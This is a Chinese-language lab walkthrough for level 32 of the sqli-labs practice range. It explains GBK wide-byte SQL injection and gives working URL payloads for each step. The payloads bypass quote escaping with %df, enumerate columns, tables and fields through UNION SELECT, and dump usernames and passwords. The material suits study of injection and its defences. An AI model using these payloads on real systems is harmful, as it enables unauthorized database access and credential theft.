sqlilab靶場 —— 第32關
使用寬字節的用法進行SQL注入
寬字節是什麼
“寬字節” 本質是多字節字符編碼(如 GBK、GB2312、Big5 等)的通俗叫法,這類編碼以2 個字節為單位表示一個字符(區別於 ASCII 單字節編碼,僅用 1 個字節)。
- 單字節(ASCII):僅覆蓋 0-127 的字符(如數字、英文字母),每個字符佔 1 字節;
- 寬字節(如 GBK):覆蓋中文、日文等雙字節字符,範圍包含0x8140-0xFEFE(排除部分無效區間),且第一個字節高位為 1(即≥0x80),第二個字節無強制限制。
寬字節注入的核心觸發點:寬字節編碼會將單字節的轉義符(如\,ASCII 碼 0x5c)與前一個字節拼接成一個合法的寬字節字符,從而繞過單引號 / 雙引號的轉義防護,實現 SQL 注入。
判斷注入類型
先一步進行測試
?id=1'

進一步使用寬字節進行測試
?id=1%df'

獲取數據庫信息
判斷數據表有幾列
?id=1%df' ORDER BY 3 --+

進一步判斷有沒有更多的列:
?id=1%df' order by 4 --+

結論:只有三列
判斷哪幾列能夠使用
?id=-1%df' UNION SELECT 1,2,3 --+

爆破數據庫名
?id=-1%df' UNION SELECT 1,database(),3 --+

爆表名
?id=-1%df' UNION SELECT 1,group_concat(table_name),3 FROM information_schema.tables WHERE table_schema=0x7365637572697479 --+

爆字段名
?id=-1%df' UNION SELECT 1,group_concat(column_name),3 FROM information_schema.columns WHERE table_schema=0x7365637572697479 and table_name=0x7573657273 --+

獲取目標信息
?id=-1%df' UNION SELECT 1,group_concat(concat_ws(0x3a,username,password)),3 FROM security.users --+
